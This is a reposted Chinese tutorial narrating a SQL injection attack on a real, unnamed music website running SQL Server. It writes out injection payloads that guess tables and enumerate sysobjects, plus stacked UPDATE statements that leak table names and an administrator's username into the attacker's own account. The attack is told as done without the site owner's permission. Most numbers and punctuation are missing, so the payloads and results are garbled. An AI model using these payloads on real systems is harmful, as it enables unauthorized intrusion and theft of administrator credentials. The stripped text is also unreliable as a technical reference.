熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> SQL Server >> 正文

有孔就入 SQL Injection的深入探討

2013-11-12 23:41:23  來源: SQL Server 

  SQL Injection這個話題越來越熱了很多的論壇和hack站點都或多或少地在談論這個問題當然也有很多革命前輩寫了N多的關於這方面的文章所利用的也是許多知名的程序比如動網塵緣雅境而我們也可以拿到免費的程序來看其中的漏洞和數據庫的結構從中來達到注入的目的不過如果是別人自己寫的程序那麼我們就不知道他的源代碼更不知道他的數據庫結構(數據表名和其中的字段名)就算有個變量未過濾提交到數據庫去我們也是無從對其下手的只能利用通過猜解他的數據庫結構來構造相應的SQL語句那麼是不是就到此為止能猜到多少是多少呢?沒有做不到的只有想不到的我相信這篇文章對研究SQL Injection朋友來說應該會有所啟發
  
  發現漏洞常規注入
  最近幫我們的站增加音樂雖然本地的電信的音樂資源庫非常豐富但是缺少有關歌手和專輯的資料所以到網上去閒逛找點有用的圖片和歌手簡介通過百度搜索到了一個mp的音樂超市裡面的資料還是比較豐富的拷貝的同時順手在他的Specialid=後面加了一個(單引號)我突然眼前一亮
  
  Microsoft OLE DB Provider for SQL Server 錯誤 e
  字符串 之前有未閉合的引號
  /showspecialasp
  
  Specialid沒有過濾掉單引號就直接用到SQL語句中去了而且是SQL SERVER版本的漏洞的可利用性極大可不能就此放過這麼好的練兵機會接著換;(分號)提交進去居然頁面正常出來了說明該變量也沒有過濾掉;號到這裡我們就可以對此進行SQL滲透了按照常規的步驟
  
  提交?Specialid=;use master;
  
  注的作用是注釋掉程序中後面的SQL語句以防對我們構造的語句有影響比如order by
  
  出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 e
  多步 OLE DB 操作產生錯誤如果可能請檢查每個 OLE DB 狀態值沒有工作被完成
  /showspecialasp
  
  想在他的數據庫裡增加一個管理員是不可能了我們再換一種方法
  
  提交?Specialid= and <>(select count(id) from [user])
  
  這一句的意思是猜猜看是不是存在一個名為user的表和他裡面有沒有id這個字段
  
  一般來說:
  
  如果不存在該表的話會出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 e
  對象名 user 無效
  /showspecialasp
  
  不存在該字段的話會出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 e
  列名 id 無效
  /showspecialasp
  
  注一般來說第一步是猜一些公共的表這裡所指的公共表的意思是大多數的程序員在寫設計數據庫結構的時候會用到的常用的表和字段比如新聞的news表中的編號字段id標題字段title用戶表user或者user_data中的編號字段id用戶名字段username當然你也可以在該站點的登陸界面看他的原代碼找到用戶名和密碼的表單的name值那個也經常會是表字段名的真實值如<INPUT type=text name=username size=>
  
  很幸運果然存在user表和id字段
  
  通過提交?Specialid= and <>(select count(username) from [user])
  
  這裡的username是根據登陸框的表單名去猜的恰好存在該字段於是在該站注冊了一個用戶名為rrrrr的用戶作為注入的平台得到我的用戶名的id值
  
  繼續猜下去這裡我還是利用的他程序中的表單名提交
  
  ?Specialid= and <>(select count(email) from [user])
  
  也存在好了到這裡我們的平台已經搭建好了
  
  深入研究讓SQL自己招數據庫結構
  很多時候我們只能猜到大家比較熟用的表名如果是非原程序公開下載的我們很猜到他的真實數據庫結構有時候猜半天都猜不到令人很郁悶那麼該如何拿到他的表結構呢?我們知道SQL SERVER的每一個數據庫都會有用戶表和系統表根據SQL SERVER的聯機幫助描述是系統表sysobjects在數據庫內創建的每個對象(約束默認值日志規則存儲過程等)在表中占一行那麼也就是說當前數據庫的表名都會在該表內有存在(對象名 admin 無效大家可以看到上面出現的報錯把表名描述成對象)
  
  我們要用的是其中的描述如下(詳細的見SQL SERVER的聯機幫助)
  
  name 數據表的名字
  xtype 數據表的類型 u為用戶表
  id 數據表的對象標志
  status 保留字段用戶表一般都是大於
  
  在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)
  
  select top name from sysobjects where xtype=u and status>
  
  我們馬上就可以得到該數據庫下用戶表的第一個表名gallery
  
  select top id from sysobjects where xtype=u and name=gallery
  
  我們馬上就可以得到該數據庫下用戶表的第一個表名gallery的對象標志
  
  select top name from sysobjects where xtype=u and id>
  
  再得到第個表名gb_data這裡用到的是id>因為對象標志id是根據由小到大排列的
  
  以此類推我們可以得到所有的用戶表的名字了
  
  接下來我們要根據得到的表名取他的字段名這裡我們用到的是系統自帶的個函數col_name()和object_id()在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)
  
  select top col_name(object_id(gallery)) from gallery
  
  得到gallery表的第一個字段名為id
  
  注
  
  col_name()的語法
  COL_NAME ( table_id column_id )
  
  參數
  
  table_id包含數據庫列的表的標識號table_id 屬於 int 類型
  column_id列的標識號column_id 參數屬於 int 類型
  
  其中我們用object_id()函數來得到該表的標識號表示該表的第字段的標識號
  
  以此類推得到該表所有的字段名稱
  
  再次滲透攻擊
  經過上面步的熱身接下來我們該利用建立好的平台實際操作演練一下了
  
  依然是那個頁我們提交
  
  ?Specialid=;update[user] set email=(select top name from sysobjects where xtype=u and status>) where id=;
  
  服務器返回
  
  ADODBRecordset 錯誤 acb
  
  當前記錄集不支持更新這可能是提供程序的限制也可能是選定鎖定類型的限制
  
  /showspecialasp
  
  出師不利可能該頁記錄集打開方式是只讀我們再換一個頁
  
  找到?Classid=&SClassid=的SClassid同樣存在問題於是提交
  ?Classid=&SClassid=;update [user] set email=(select top name from sysobjects where xtype=u and status>) where id=;
  
  把第一個數據表的名字更新到我的資料的email項裡去得到第一個表名為lmuser
  
  ?Classid=&SClassid=;update [user] set email=(select top id from sysobjects where xtype=u and name=lmuser) where id=;
  
  得到第一個表lmuser的id標識號為
  
  ?Classid=&SClassid=;update [user] set email=(select top name from sysobjects where xtype=u and id>) where id=;
  
  得到第二個表名為ad這裡我們利用的是數據表的對象標志id是升序排列的特點以此類推繼續取……(由於篇幅問題中間省略n步)最後我們得到了所有的表名發現其中有個表admin很可能就是管理員的列表了
  
  好接下來我們就取該表的字段名
  
  ?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
  
  得到第個字段為id
  
  ?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
  
  得到第個字段為username
  
  ?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
  
  得到第個字段為password
  
  到此管理員列表的個關鍵字段已經給我們拿到接下來要拿用戶名和密碼就比較省力了首先拿管理員的id值這個比較簡單我就不再詳細說了
  
  我們拿到的id值是
  
  ?Classid=&SClassid=;update [user] set email=(select top username from admin where id=) where id=;
  
  將該管理員的用戶名更新到email項 拿到的username為gscdjm
From:http://tw.wingwit.com/Article/program/SQLServer/201311/11232.html
  • 上一篇文章:

  • 下一篇文章:
  • 相關文章
      没有相关文章
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.